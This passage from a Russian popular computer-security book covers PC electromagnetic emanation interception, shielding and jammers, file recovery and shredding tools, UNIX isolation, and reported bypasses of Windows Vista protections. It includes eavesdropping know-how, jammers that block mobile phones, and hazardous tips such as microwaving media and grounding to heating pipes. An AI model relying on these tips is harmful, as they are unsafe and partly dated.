   Спектр частот ПЭМИ ПК представлен колебаниями в достаточно широком диапазоне: от единиц мегагерц до нескольких гигагерц. Диаграмма направленности побочного электромагнитного излучения ПК не имеет ярко выраженного максимума, что неудивительно: взаиморасположение составных частей ПК (монитор, системный блок, проводники, соединяющие отдельные модули) отличается большим количеством вариантов. Поляризация излучений ПК, как правило, линейная и определяется так же, как и диаграмма направленности, – взаиморасположением соединительных проводов и отдельных блоков. Следует отметить, что именно соединительные провода, а точнее их плохая или совсем отсутствующая экранировка, являются главным фактором возникновения ПЭМИ. С точки зрения реальной утечки информации, не все составляющие спектра ПЭМИ являются потенциально опасными. Среди всей «каши» ПЭМИ большинство ее составляющих – бесполезные шумы. Именно поэтому для разграничения качества ПЭМИ применяют следующее определение: совокупность составляющих спектра ПЭМИ, порождаемых прохождением токов в цепях, по которым передается информация, относящаяся к категории конфиденциальной (секретная, служебная, коммерческая и т. д.), называют потенциально-информативными излучениями (потенциально-информативными ПЭМИ).
   Наиболее опасными с точки зрения их последующего перехвата являются потенциально-информативные излучения, генерируемые цепями, по которым могут передаваться следующие сигналы:
   ♦ видеосигнал от видеокарты к контактам электронно-лучевой трубки монитора;
   ♦ сигналы от контроллера клавиатуры к порту ввода-вывода на материнской плате;
   ♦ сигналы-спутники различных периферийных устройств, считывателей магнитных дисков и др.
   Вся картина паразитных излучений ПК в основном определяется наличием резонансов на некоторых частотах. Такие резонансные частоты, как правило, различны даже для двух аналогичных ПК. Что это значит для того, кто занимается перехватом паразитного излучения? Наверное, то, что существует возможность многоканального перехвата с группы мониторов, так как каждая отдельная машина фонит только на своей специфической частоте (имеются в виду максимумы спектра). Как уже было сказано в начале подраздела, наиболее интересным и опасным с точки зрения перехвата информации источником ПЭМИ является монитор ПК, а также проводники, соединяющие отдельные блоки и модули, периферийные устройства, устройства ввода/вывода информации и т. п.

   ВНИМАНИЕ
   Будет достаточно уместным привести следующие данные: с дисплея ПК, используя специальную аппаратуру (информация может быть восстановлена и с помощью обыкновенного телевизора (!), но без сигналов синхронизации: изображение при таком способе "съема" будет перемещаться на экране в вертикальном и горизонтальном направлениях; качество приема может быть значительно улучшено с помощью специальной приставки – внешнего синхронизатора), информацию можно снять на расстоянии до одного километра.



   Меры защиты

   С точки зрения того, кто занимается перехватом ПЭМИ, сам перехват при наличии соответствующей аппаратуры технически не представляет собой чего-то фантастического, а если учесть тот факт, что процесс перехвата не требует активного вмешательства со стороны подслушивающего, сразу же встает закономерный вопрос: как же все-таки можно защититься от этого вида шпионажа? Есть ли выход и что может предпринять обычный пользователь, для которого обеспечение конфиденциальности информации может быть так же важно, как и для администратора безопасности, обслуживающего целую организацию?
   В странах Западной Европы вопросы защиты электронной аппаратуры (в частности, компьютерной техники) от перехвата информации за счет ПЭМИ и наводок (ПЭМИН) испытывают самое пристальное внимание со стороны соответствующих органов и ведомств. В случае если тестируемое оборудование успешно выдержало все испытания, оно попадает в список так называемых рекомендуемых изделий и – обратите внимание – не может быть экспортировано или продано кому-либо без разрешения американского правительства. Именно так, а не иначе, наши заокеанские соседи относятся к проблеме ПЭМИ. Есть о чем задуматься и нам…
   Возвращаясь к рассматриваемому вопросу, не без оптимизма хочется заявить, что средства противодействия ПЭМИ есть, причем на любой вкус. Что касается обычного пользователя ПК, обеспокоенного утечкой информации, то здесь прежде всего следует обратить внимание на пассивные методы защиты.
   А именно: имеется в виду электромагнитное экранирование устройств и помещений, где, собственно, и расположен ПК. Эффективность экранировки может обеспечить экран, изготовленный из одинарной медной сетки с ячейкой 2,5 мм либо из тонколистовой оцинкованной стали толщиной 0,51 мм и более. Экранирующие составляющие (листы стали, фрагменты сетки) должны иметь плотный контакт по всему периметру, что обеспечивается электросваркой или пайкой. После экранировки стен самое время заняться дверями, обеспечив надежный электроконтакт по всему периметру с дверной рамой, что обеспечивается применением пружинной гребенки из фосфористой бронзы или другого подходящего материала, укрепленного по всему внутреннему периметру дверной рамы. С окнами поступают следующим образом: их затягивают одним или двумя слоями медной сетки с ячейкой не более 2 х 2 мм, причем расстояние между слоями сетки должно быть не менее 50 мм. Оба слоя должны иметь качественный электроконтакт с прилегающими стенками помещения посредством уже упоминавшейся в тексте гребенки из фосфористой бронзы или другого подходящего материала. Самое главное – экран необходимо заземлить, для чего вполне подойдет сеть центрального отопления.
   Превратив таким образом вашу уютную квартиру в бункер СС, вы все равно не обезопасите себя от нежелательных ПЭМИ. Все дело в том, что в процессе работы ПК, помимо "обычных" наводок, возникают квазистатические магнитные и электрические поля, которые достаточно быстро убывают с расстоянием. Но! Такие поля способны вызвать наводки в проводах, выходящих из жилого помещения (телефонные провода, электрические провода и другие варианты). Есть ли выход?
   Конечно же, есть. Для устранения проблем подобного рода рекомендуется провести экранировку всех выходящих из закрытого помещения проводов – этим шагом вы сведете к минимуму возможность перехвата не только ПЭМИ ПК, но и других наводок, ослабляющих вашу информационную безопасность. Что же касается активных средств противодействия, то здесь, конечно же, хочется упомянуть о генераторах шумов в диапазоне, соответствующем ПЭМИ. В качестве горячего примера можно привести следующие устройства.
   Сетевой генератор шума NGS предназначен для подавления подслушивающих устройств и систем передачи данных, использующих в качестве канала передачи сеть 220 В. NGS обеспечивает генерацию шума с гауссовской плотностью вероятности мгновенных значений в диапазоне частотного спектра от 300 Гц до 7 МГц. В наиболее часто используемом диапазоне частот от 50 до 500 КГц генератор обеспечивает максимальный уровень спектральной плотности мощности шумового сигнала. К краям диапазона уровень спектральной плотности мощности плавно снижается. Помеха подается в сеть 220 В по шнуру питания. Изделие не создает помех устройствам бытовой электроники.
   Купол 4М, помимо задач противодействия техническим средствам разведки, может использоваться для блокировки каналов дистанционного управления радиоуправляемых взрывных устройств. Прибор состоит из четырех излучающих модулей, обеспечивающих равномерную амплитудно-частотную характеристику в диапазоне наиболее вероятного применения технических средств разведки и диверсионно-террористических устройств. В ближней зоне излучения прибор обеспечивает блокировку работы сотовых телефонов и подслушивающих устройств, работающих с применением каналов систем мобильной связи (GSM, AMPS, DAMPS, CDMA).
   Переносной генератор радиошума «БРИЗ» – изделие относится к средствам активной защиты информации и предназначено для защиты объектов информатизации. По принципу действия является широкополосным генератором, создающим маскирующий сигнал в диапазоне до 1 ГГц мощностью не менее 5 Вт, что обеспечивает:
   ♦ маскировку побочных электромагнитных излучений от средств обработки, передачи и хранения информации (в первую очередь от персональных компьютеров);
   ♦ блокировку радиоканалов, используемых устройствами дистанционного снятия информации мощностью до 5 мВт;
   ♦ блокировку приемников различных систем дистанционного управления (СДУ) по радиоканалу (СДУ средствами снятия информации и др.).
   Генераторы радиошума серии «ШТОРА» предназначены для защиты от утечки информации за счет побочных электромагнитных излучений и наводок, возникающих при работе электронных средств обработки, хранения и передачи информации, а также для предотвращения несанкционированного перехвата информации с помощью маломощных радиопередатчиков.



   7.5. Восстановим, а потом удалим навсегда


   «Огромный дядька взмахивает кувалдой, шаг за шагом приводя винчестер в крайне неузнаваемое состояние.»
   "Что это за ерунда?" – спросят многие из читателей. "Это всего лишь факт", – ответим мы вам. Наиболее эффективным способом уничтожения данных (а точнее, носителей с данными) и по сей день остается "комиссия по уничтожению данных".
   В общем, вопрос уничтожения информации стоит особенно остро. Думаю, не стоит вдаваться в подробности, зачем и при каких обстоятельствах бывает необходимо уничтожить данные, так чтобы до них не смог добраться тот, кому эти данные не предназначены. Согласно мировой практике, для безвозвратного уничтожения данных носитель информации подвергается многократной перезаписи нулями или единицами в каждый байт сектора согласно стандартам по уничтожению данных. Более продвинутые техники уничтожения данных предусматривают использование специализированных аппаратных комплексов, "убивающих" данные воздействием мощного электромагнитного излучения на рабочую поверхность носителя (имеются в виду магнитные носители). В домашних условиях, в случаях критической необходимости, таким аппаратным комплексом может стать обычная микроволновая печь, однако использование прибора не по назначению может привести к трагическим последствиям.
   Не секрет, что когда мы что-либо удаляем с диска, то удаляется не сам файл, а только его заголовок в таблице FAT (File Allocation Table – таблица размещения файлов) или MFT (Master File Table – для NTFS). Даже файлы, удаленные из корзины, несложно восстановить. И даже в том случае, если вы случайно отформатировали диск, это вовсе не повод расстраиваться– существует целый вагон и маленькаяте-лежка программ, призванных восстановить утраченные данные даже после команды format. Рассмотрим некоторые из программ подобного рода.


   EasyRecovery

   Продукты семейства EasyRecovery (рис. 7.7) представляют собой целый комплекс программ для восстановления утраченных данных и поврежденных файлов, а также диагностики жестких дисков. С помощью данного пакета возможно восстановление данных после:
   ♦ случайного удаления;
   ♦ атаки вирусов;
   ♦ повреждения из-за отключения или резких колебаний напряжения в электросети;
   ♦ ошибок в программе;
   ♦ проблем при создании разделов или загрузке;
   ♦ неправильного выключения компьютера;
   ♦ повреждения структуры файловой системы;
   ♦ форматирования носителя данных или применения на нем программы FDISK.
   Рис. 7.7. Так выглядит окно EasyRecovery
   Пакет включает в себя такие продукты, как базовый инструментарий EasyRecovery DataRecovery (восстанавливает недоступные, поврежденные или удаленные файлы с разделов FAT и NTFS, с жестких дисков IDE/ATA/EIDE, SCSI, дискет, ZIP и JAZ, а также с других носителей. В модуль также включена возможность восстановления документов Microsoft Word и ZIP-архивов), утилиту для восстановления локальных ящиков электронной почты EasyRecovery EmailRepair (восстанавливает поврежденные файлы почтовых программ Microsoft Outlook и Outlook Express, которые доступны, но не открываются. Пакет дает возможность вернуть удаленные электронные письма из файлов Microsoft Outlook и Outlook Express, а также восстановить поврежденные файлы Microsoft Outlook Express (DBX) и Microsoft Outlook (PST & OST), в том числе файлы Outlook, превышающие порог 2 Гбайт), инструмент EasyRecovery FileRepair (восстанавливает поврежденные документы, созданные при помощи Microsoft Office) и EasyRecovery Professional, в состав которого входит уникальный диагностический инструмент Ontrack Data Advisor, а также расширенные инструменты для восстановления утраченных данных на жестком диске. С помощью EasyRecovery Professional возможно восстановление на диске более 225 файлов различных типов, включая музыкальные MIDI-файлы, файлы звукозаписи, фильмы и многое другое. В том случае если Windows обычными способами загрузить не удается, пользователи получают возможность сделать это с предварительно созданной загрузочной дискеты.
   Программа хорошо показала себя в полевых условиях и не раз выручала в критических ситуациях типа "мы уже все отформатировали".


   FinalRecovery

   Это хорошо зарекомендовавшая себя утилита для спасения данных. Поддерживает файловые системы FAT12, FAT16, FAT32 и NTFS, восстанавливает информацию на жестких и флоппи-дисках, которая была удалена из корзины, из командной строки и т. д. Интерфейс прост и интуитивно понятен. В отличие от EasyRecovery, эта программа не столь тяжеловесна (1,22 Мбайт), что имеет свои преимущества.


   Dead Disk Doctor

   Программа предназначена для полного или частичного восстановления файлов с частично нечитаемых дисков, дискет или других носителей. Она читает файл блоками по 10 Кбайт, и огда устройство (CD-ROM, например) выдает ошибку, размер блока уменьшается в 10 раз, попытка повторяется, и так до тех пор, пока блок данных не будет прочитан без ошибок. Если размер блока достигает минимума, программа пропускает один байт и начинает чтение со следующего. После удачного прочтения размер блока увеличивается в 10 раз и т. д., пока не достигнет максимума – 10 Кбайт.


   «Кремация…»

   Как вы уже поняли из первой части раздела, обычное удаление не гарантирует удаление в прямом смысле этого слова – стирается не сам файл, а соответствующая ему запись в таблице разделов. И даже если вы отформатировали диск – его также легко восстановить.
   Для полного и безвозвратного уничтожения данных используются специальные утилиты – шредеры (от англ. shredder). Смысл их работы заключается в многократной перезаписи стираемых файлов, что гарантирует невозможность их дальнейшего восстановления. Рассмотрим некоторые из таких утилит.
   Eraser. Популярнейшая программа для безвозвратного удаления файлов, директорий и чистки следов в свободной области диска методом перезаписи. Имеет несколько стандартных режимов работы (включая стандарты DoD и Гутмана) и позволяет создавать свои режимы с произвольным количеством проходов при перезаписи. Для уничтожения данных Acronis Proof Eraser использует известные национальные стандарты уничтожения информации на жестких дисках (например, Российский стандарт ГОСТ P50739-95), а также алгоритмы, разработанные авторитетными специалистами по защите информации, многократно превосходящие национальные стандарты. Программа примечательна наличием планировщика, благодаря которому процесс очистки диска полностью автоматизирован, а также freeware-распространением.
   RedBut. Программа представляет собой комплексное решение для защиты информации от утечки, доступа посторонних, реализует своевременное удаление или шифрование конфиденциальной информации в экстренных случаях, заметая следы активности операционной системы и пользователя.
   С помощью RedBut можно удалять указанные файлы и папки без возможности восстановления, а также зашифровывать их современными стойкими криптоалгоритмами. RedBut позволяет очистить множество следов активности системы: файлы журнала приложений Windows, данные в буфере обмена, списки недавно использованных документов, списки часто используемых программ, временные файлы приложений, удаленные файлы в Корзине, а также следы сетевой активности пользователя.
   В заключение хочется привести краткое описание программы Clean Disc Security (рис. 7.8).
   Приложение позволяет уничтожить данные одним из четырех вариантов.
   ♦ Простой вариант (перезапись случайными данными до шести проходов). Может быть полезен для домашнего использования.
   ♦ Вариант NIS, согласно правилам "National Industrial Security Program Operating Manual", подразумевает использование более продвинутых техник для уничтожения данных, в частности: место на диске с данными перезаписывается семью подходами, каждый из которых включает следующие операции – см. рис. 7.8.
   Рис. 7.8. Окно утилиты Clean Disc Security
   ♦ Gutmann method – уничтожение данных методом Гутмана согласно руководству "Secure Deletion of Data from Magnetic and Solid-State Memory". Gutmann method – наиболее надежный способ уничтожения данных, применяемый, если высока вероятность использования точной аппаратуры для восстановления данных.
   Как и другие программы аналогичного класса, помимо профессионального уничтожения данных, программа позволяет очистить множество следов активности системы. Скачать приложение можно по адресу http://www.diskcLeaners.com/.




   Глава 8
   Защищенные системы – какие они?


   ♦ UNIX-среда
   ♦ Безопасность Windows Vista – взлом адекватен защите!
   Как бы нам ни хотелось верить в то, что идеально защищенные системы существуют, приходится констатировать лишь то, что к защищенным системам можно только приблизиться. Можно, еще как можно.
   В этой главе вы узнаете:
   ♦ в чем принципиальное отличие UNIX-подобных систем от систем линейки Windows в контексте обеспечения безопасности;
   ♦ какие из ныне существующих техник могут быть с успехом использованы для создания безопасной среды выполнения кода;
   ♦ насколько безопасна операционная система Windows Vista и существуют ли способы обхода новой хваленой защиты.


   8.1. UNIX-среда



   UNIX прост. Но надо быть гением, чтобы понять его простоту.
 Денис Ритчи (Dennis Ritchie)



   Краткая предыстория

   Первоначально операционная система UNIX была разработана в конце 1960-х годов сотрудниками компании Bell Labs, в первую очередь Кеном Томпсоном (Kenneth Thompson), Денисом Ритчи (Dennis MacAlistair Ritchie) и Дугласом МакИлроем (Douglas McIlroy) (рис. 8.1). Уже к 1978 году система была установлена более чем на 600 персональных компьютерах, прежде всего в исследовательских институтах.
   Рис. 8.1. Кен Томпсон и Денис Ритчи – создатели UNIX
   В начале 1980-х годов компания AT&T, которой принадлежала Bell Labs, осознала всю ценность операционной системы UNIX, начав тем самым разработку ее коммерческой версии. Впоследствии многие компании, лицензировав UNIX-код у AT&T, успешно разработали собственные коммерческие разновидности UNIX, такие как HP-UX, AIX, Solaris, IRIX. В 1991 году Линус Товальдс (Linus Benedict Torvalds) опубликовал ядро Linux. Дистрибутивы этой системы (в частности, Red Hat и Debian), включающие ядро, утилиты GNU и дополнительное программное обеспечение, стали бешено популярны как среди любителей, так и среди профессионалов.
   Идеи, заложенные в основу UNIX, оказали огромное влияние на развитие компьютерных операционных систем. В настоящее время UNIX-системы признаны одними из самых надежных и производительных серверных систем. Достаточно лишь посмотреть статистику использования операционной системы на серверах. Комментарии, как говорят, излишни.

   ПРИМЕЧАНИЕ
   К слову будет сказано, предположение о том, что UNIX-подобную систему трудно встретить на настольном ПК, в корне неверно. Когда фирма Apple искала основу для своей новой операционной системы, она выбрала NEXTSTEP. Данная система относится к UNIX-семейству BSD и основана на ядре Mach. Применение модификации BSD UNIX в Mac OS X делает его одной из наиболее широко используемых версий UNIX.

   «Невозможно написать абсолютно качественный код», – это скажет вам любой хороший программист, особенно если речь идет о миллионах строчек программного кода. Представьте себе следующую ситуацию. Код № 1 писала одна группа программистов, код № 2 – другая. В обоих случаях над его созданием работали профессионалы, хорошо знающие свое дело. Однако первый код был на виду и дорабатывался совместными усилиями тысяч светлых голов, постоянно оттачивался и совершенствовался. Второй код был закрыт, и только лишь горстке избранных разработчиков были доступны его тексты… Конечно, в каждом из двух описанных вариантов есть свои плюсы и минусы, однако перейдем ближе к делу.
   Основное концептуальное отличие UNIX от Windows – это, конечно же, открытый код. Абсолютное большинство UNIX-систем, включая популярные Linux-клоны, выпускаются по GNU General Public License, которая позволяет любому желающему копировать, изменять и распространять исходный код. Открытый код постоянно дорабатывается и совершенствуется, именно поэтому в UNIX-системах так мало уязвимостей. Этот открытый код (на то он и открытый), ко всему прочему, бесплатен.
   Исходный же код Windows закрыт, именно поэтому подобный подход к безопасности часто называют "безопасность в тумане" (security through obscurity).
   Из характерных особенностей организации безопасности UNIX-систем хотелось бы отметить и следующие:
   ♦ глубоко продуманная технология разделения прав доступа к ресурсам;
   ♦ каждый из процессов выполняется строго в своем адресном пространстве (Windows этим похвастаться не может);
   ♦ встроенные в ядро тонко конфигурируемые инструменты безопасности (к примеру, IP-Firewall (IPFW) FreeBSD);

   ПРИМЕЧАНИЕ
   В большинстве UNIX-подобных систем можно задействовать не один, а три (чаще всего) различных межсетевых экрана; зачем это нужно и какой выигрыш от этого можно получить – ответ, в общем, очевидный.

   ♦ наличие таких инструментов безопасности, как chroot (более подробно см. далее) и Jail (в BSD-системах), позволяет создать систему, устойчивую даже в случае успешной попытки взлома.
   Если кому-то из читателей данный список покажется полным, смеем заверить – перечисленное является лишь верхушкой айсберга безопасности UNIX-систем.
   Почему UNIX-системы так любят хакеры? Наверное, потому что UNIX – это свобода действий и прозрачность кода. Как узнать, что выполняет привычная для нас программа в Windows-среде? Интуитивно понятное пространное окно с множеством кнопок – нажимай какую хочешь, просто, как робот, бери и нажимай.
   В UNIX все совсем наоборот. Не тебя контролируют, а ты. Свобода! Взял исходный код программы, подправил, как тебе надо, скомпилировал – и вот она, программа, живая и светится (рис. 8.2).
   Безопасность UNIX-систем оттачивалась не одним поколением программистов. В контексте данной главы следует упомянуть о таких техниках повышения безопасности, как chroot и Jail (для BSD-систем).
   Рис. 8.2. Любимый nmap…


   Концепция изоляции – вариант безопасного выполнения кода

   Под chroot в UNIX-подобных операционных системах подразумевается техника, позволяющая создать изолированную среду – имитацию корневого каталога файловой системы. Запущенная в такой среде любая программа будет воспринимать только указанный рабочий каталог – и «ни шагу влево». chroot затрагивает только текущий процесс и всех его потомков. Программа в такой изолированной среде не может обращаться к файлам вне этого каталога, что обеспечивает надежный способ защиты в случае компрометации программы в chroot.
   К слову будет сказано, chroot-каталог может быть использован, чтобы сымитировать реальную систему с запущенными сетевыми сервисами. Такой искусственно созданный механизм безопасности может быть использован как "наживка" для взломщиков, или honeypot.
   Jail, или «тюрьма», – механизм изолирования выполнения процессов в операционных системах UNIX. Системный вызов jail заключает процесс и всех его потомков в изолированную среду выполнения. Процесс, выполняющийся в jail, не имеет возможности получить доступ к тому, что не принадлежит jail. Более того, даже суперпользователь – root – не в состоянии выполнить большинство операций, которые он может выполнять снаружи от jail.
   Если chroot и Jail – это инструменты безопасности, обсуждаемые в контексте UNIX-систем, то о следующем инструменте безопасности так сказать нельзя.
   Виртуальная машина (от англ. virtual machine) представляет собой программную или аппаратную среду, исполняющую некоторый код. Фактически, как это и следует из названия, виртуальная машина эмулирует работу реального компьютера. Виртуальная машина, как и реальная, может иметь свою операционную систему (и даже несколько), обслуживаемую искусственно эмулированным «железом»: BIOS, ОЗУ, жесткий диск (часть места на жестком диске реального компьютера).
   В контексте обеспечения безопасности применение виртуальных машин оправдано там, где высока вероятность поражения вредоносным кодом или нельзя допустить выхода из строя основной системы. Установив несколько виртуальных машин на одну реальную, можно легко и просто сымитировать локальную сеть.
   В качестве примеров наиболее популярных виртуальных машин можно привести VMWare, Xen (для UNIX-подобных систем), Microsoft Virtual PC.
   Live-CD представляет собой загрузочный диск, на котором имеется все необходимое для развертывания виртуальной операционной системы прямо в памяти компьютера. Live-CD может оказаться особенно полезным, когда необходимо получить доступ к файловой системе, поврежденной или инфицированной вирусом. Применение Live-CD также оправдано в нестандартных вариантах работы пользователя (например, на чужом компьютере или на компьютере без винчестера и т. д.). Примеры LiveCD – Windows LiveCD, Linux Knoppix LiveCD.
   Вовсе не надо быть гением, чтобы проследить закономерность – логическую связь между вышеперечисленными техниками безопасности: в каждом из случаев выполнение кода идет в изолированной среде, не затрагивая при этом рабочую зону основной системы.



   8.2. Безопасность Windows Vista – взлом адекватен защите!


   В контексте данной главы будут рассмотрены основные технологии зашиты Windows Vista и мы попытаемся объективно прокомментировать возможные «черные и белые» стороны.
   Не секрет, что корпорация Microsoft самым активным образом продвигает технологию x64 путем внедрения ряда уникальных возможностей в 64-разрядные варианты версий Windows Vista Home Basic, Vista Home Premium, Vista Business, Vista Enterprise и Vista Ultimate. По заверениям Microsoft, благодаря ключевым усовершенствованиям и новым технологиям, реализованным только для x64-версий Vista, эти системы можно будет по праву считать самыми безопасными вариантами клиентских операционных систем, когда-либо созданными Microsoft (рис. 8.3).
   Рис. 8.3. Новая система обещает стать безопасней…
   Microsoft явно пытается показать миру по-настоящему защищенную систему, подтверждением чего являются новые средства безопасности x64-версий Vista в сочетании с такими функциями x32-версий Vista, как User Account Control (UAC), Windows Defender, Windows Firewall, Windows Service Hardening, Encrypting File System (EFS) и Bit-Locker.
   Однако начнем, пожалуй, с реалий.
   Авторитетный специалист по безопасности Джоанна Рутковска (Joanna Rutkowska) в конце июля нынешнего года изящно представила оригинальные способы обхода средств защиты информации Windows Vista. В ходе конференции Black Hat Briefings and Training, которая проходила в Лас-Вегасе с 28 июля по 2 августа 2007 года, Рутковска и ее коллега Алекс Терешкин представили разработанные для Vista rootkit-программы. По словам Рутковской, из этических соображений участие в семинаре было ограничено только представителями "легитимных" компаний. Недавно Рутковска продемонстрировала методы, с помощью которых руткиты могут скрывать себя даже от самого надежного на сегодня механизма распознавания– аппаратных средств, считывающих содержание оперативной памяти системы. По ее словам, июльская демонстрация была посвящена именно таким методам. До недавнего времени Рутковска работала в компании Coseinc, а в настоящее время занимается основанием в Польше новой компании, которая будет специализироваться на информационной безопасности.
   Потрясает? Пожалуй, да, ведь не будем забывать, что выход системы состоялся ну совсем уже недавно. Однако то ли еще будет. Как обещает многоуважаемая Рутковска, это только начало, ведь в планах ближайшего времени опубликовать новые оригинальные способы взлома пресловутой защиты NT 6.0.
   Чего же все-таки стоит хваленая безопасность новой операционной системы и какие технологии за этим стоят? Попробуем разобраться в этом.


   Драйверы с цифровой подписью

   Никто не будет отрицать, что значительная часть потенциальных проблем безопасности операционных систем связана именно с драйверами. По заявлениям Microsoft, x64-версии Vista будут допускать установку драйверов исключительно с цифровой подписью. Порочная практика «драйвер не имеет цифровой подписи – все равно продолжить» должна теперь кануть в небытие?! Понятное дело, что обязательное подписывание драйверов в значительной степени способствует надежности Windows Vista, ведь большинство сбоев операционной системы и критических ошибок связаны именно с недоработкой драйверов режима ядра.
   Прокомментировать подобный вариант защиты от установки драйверов без цифровой подписи можно было бы вполне однозначно: новая технология исправно защищает ядро операционной системы от модификаций, обеспечивая, как бы это хотелось сказать, непревзойденный уровень защиты.
   Однако постойте. В начале августа этого года Symantec обнародовала до примитива простой способ обхода всей этой хваленой защиты: защита ядра 32-и 64-битных версий Vista от установки неподписанных драйверов может быть взломана с помощью простой бесплатной утилиты! Специалистам Symantec удалось обнаружить в свободном доступе программу Atsiv, разработанную австралийской компанией Linchpin Labs.
   Реакция Microsoft на появившееся средство обхода защиты Vista пока неизвестна.


   PatchGuard

   Как следует из названия, PatchGuard создан, чтобы обеспечить защиту от несанкционированной модификации ядра Vista вредоносным кодом. По определению Microsoft, PatchGuard представляет собой не что иное, как «метод предотвращения расширения драйверов режима ядра или замены других служб ядра, а также редактирования какой-либо части ядра сторонними программами».
   Чтобы понять суть данной технологии защиты, будет полезным разобраться в том, что же такое kernel patching (изменение ядра).
   Под kernel patching, как это следует из названия, понимается некая техника модификации/замены критических областей данных ядра Windows на другой код или данные, которые могут быть потенциально вредоносными. Модификация эта, в свою очередь, возможна посредством использования внутренних системных вызовов или другим способом. Вообще, модификация и обновление ядра, по сути, не являются чем-то экзотическим и априорно запрещенным для системы, ведь многие производители ПО достаточно часто модифицируют его для своих целей, например, изменяя адрес функции-обработчика системного вызова (указатель функции) в таблице системных вызовов (system service table, SST).
   Вдаваясь в технические подробности работы PatchGuard, следует сказать, что благодаря данной технологии в системе запрещена модификация таких компонентов ядра, как:
   ♦ таблицы системных вызовов (system service tables, SST);
   ♦ таблицы глобальных дескрипторов (global descriptor table (GDT));
   ♦ таблицы прерываний (interrupt descriptor table (IDT)).
   В случае если какой-либо код попытается модифицировать вышеописанные компоненты ядра, операционная система сгенерирует отчет об обнаруженной уязвимости и экстренно завершит свою работу. По официальным заявлениям Microsoft, данный компонент системы защиты ядра отключить невозможно. Однако, как оно всегда и бывает, нет ничего невозможного: защита ядра все-таки отключается. Подобное вполне возможно, если в системе работает отладчик ядра. Решение, как мне кажется, не заставит себя долго ждать.


   NX (No Execute) DEP!

   Под загадочной аббревиатурой NX стоит вполне прозрачная технология DEP – DATA EXECUTION PREVENTION. Реализованный программно в 32-битной версии Windows Vista, в 64-разрядной версии операционной системы NX реализован аппаратно. Понятное дело, что аппаратно реализованная функция DEP более надежна, поскольку здесь на страже нашей безопасности стоит само «железо».
   Чтобы лучше понять, что же такое NX, необходимо разобраться в DEP.
   DEP, или предотвращение выполнения данных, – используется для предотвращения проникновения на компьютер вирусов и других угроз безопасности, выполняющих вредоносный код из областей памяти, которые должны использоваться только операционной системой Windows и другими программами. В ходе своей работы DEP следит, чтобы программы использовали системную память безопасным образом. Для этого DEP работает отдельно или вместе с совместимыми микропроцессорами и помечает некоторые области как «невыполняемые». Если программа пытается запустить код (любой код) из защищенной области, DEP закрывает программу и отображает уведомление (подобный метод инфекции, описанный выше, при котором вредоносный код выполняется из запрещенных областей памяти, реализуется посредством переполнения буфера).
   Механизм переполнения буфера, в свою очередь, заключается в следующем. Предположим, что некая процедура для хранения данных использует буфер. Буфер находится в стеке (в определенной области памяти, которая используется во время выполнения программы). Представим в стеке несколько переменных и адрес возврата функции – число, показывающее, куда передать управление после выполнения текущей процедуры. Каким образом программа записывает данные в N-й байт буфера? К адресу начала буфера прибавляется число N. Полученный результат и есть адрес, по которому будут записаны данные. Если размер буфера равен 1024 байт, а мы попытаемся «втиснуть» в него больше, то некоторая часть данных попадет в другую область памяти. Может произойти так, что адрес возврата функции затеряется, и, как следствие, программа выполнит не тот код, на который указывал предыдущий адрес возврата.
   Возвращаясь к NX и резюмируя вышесказанное, следует отметить: NX позволяет программному обеспечению помечать сегменты памяти, в которых будут храниться только данные, и процессор не позволит приложениям и службам исполнять произвольный код в этих сегментах.
   "Капитально… " – скажет кто-нибудь из читателей. Действительно, капитально, если бы не одно но.
   Методология обхода аппаратной реализации DEP давно уже отработана и поставлена, если так можно выразиться, на поток (подробную информацию об обходе аппаратной реализации DEP можно найти по адресу www.securityLab.ru).


   ASLR

   Ну что ж, продолжим наш экскурс в технологии защиты новой линейки 6.0.
   Фанфары и салют! Наш следующий подопытный конкурсант, призванный сделать Windows Vista сверхзащищенной системой, – это ASLR (Address Space Layout Randomization), или, по-нашему, технология, обеспечивающая случайное расположение адресного пространства.
   Говоря о технологии ASLR, следует все же отдать должное Microsoft в обеспечении безопасности Windows Vista. Введя ASLR, спецы из корпорации, ни много ни мало, позаботились о том, чтобы усложнить жизнь писателям вирусов. По мнению разработчиков, ASLR практически полностью исключает угрозу удаленных атак для Windows-платформ.
   Все дело в том, что в настоящее время Windows предусматривает загрузку системных файлов с использованием одинакового смещения в памяти при загрузке системы, что позволяет посредством вирусного ПО внедрять код "по месту назначения". Суть новой технологии заключается в том, что в x64-версиях Vista системные файлы загружаются в случайные адреса памяти, что существенно осложняет написание работающего вируса. По заверениям Microsoft, свыше 99 % всех удаленных атак на x64-версии Vista закончатся крахом.
   Смысл ASLR прост и заключается в следующем: каждый раз, когда компьютер перезагружается, ASLR в случайном порядке назначает один из 256 возможных вариантов адреса для расположения ключевых системных DLL-и EXE-файлов. Это осложняет поиск вирусом нужных файлов и, как следствие, препятствует его выполнению. Нетрудно догадаться, что теперь существует всего лишь один шанс из 256, что текущая загрузка файлов произойдет с адреса с тем же смещением, что и при предыдущей загрузке.
   Потрясает? Действительно. Введение данной технологии выведет защиту операционных систем на принципиально новый уровень. А вот на какой уровень данное нововведение выведет написание вирусного ПО?
   Как прокомментировал в списке почтовой рассылки BugTraq исследователь из Next Generation Security Software Дэвид Личфилд (David Litchfield), "дистанционное использование переполнений значительно усложнилось", на что некто под псевдонимом cntex в ответе Личфилду заверил, что ASLR "уже много лет элементарно обходится в Linux".
   Ну что ж, рассмотрение "самых страшных и могущественных" технологий защиты NT 6.0 (большинство из которых реализовано аппаратно) закончено, и, как видите, не так все и безоблачно.
   Приступим к рассмотрению технологий защиты прикладного уровня, реализованных в большей части программно.


   Защитник Windows

   Нововведением Windows новой линейки стал Защитник Windows – как оно следует из названия, компонент, призванный активно защищать нашу операционную систему.
   Как отмечено в официальном описании Microsoft, данный компонент защищает компьютер от руткитов, шпионов, adware, bots и другого вредоносного ПО. Хотя от червей и вирусов не защищает! Ну да ладно, антивирус то все равно придется ставить свой.
   Итак, кто же такой этот Защитник Windows?
   Защитник Windows содержит девять агентов безопасности, которые постоянно наблюдают за теми критическими областями операционной системы, которые наиболее часто пытается изменить вредоносное ПО. К таким областям относятся следующие.
   ♦ Автозагрузка. Агент безопасности постоянно наблюдает за списком программ, которым позволено загружаться при старте системы. Таким образом реализуется защита от вредоносного ПО, которое пытается загрузиться вместе с системой.
   ♦ Настройки безопасности системы. Агент безопасности постоянно проверяет настройки безопасности Windows. Не секрет, что некоторое вредоносное ПО старается изменить настройки безопасности с целью облегчения вредного воздействия на операционную систему.
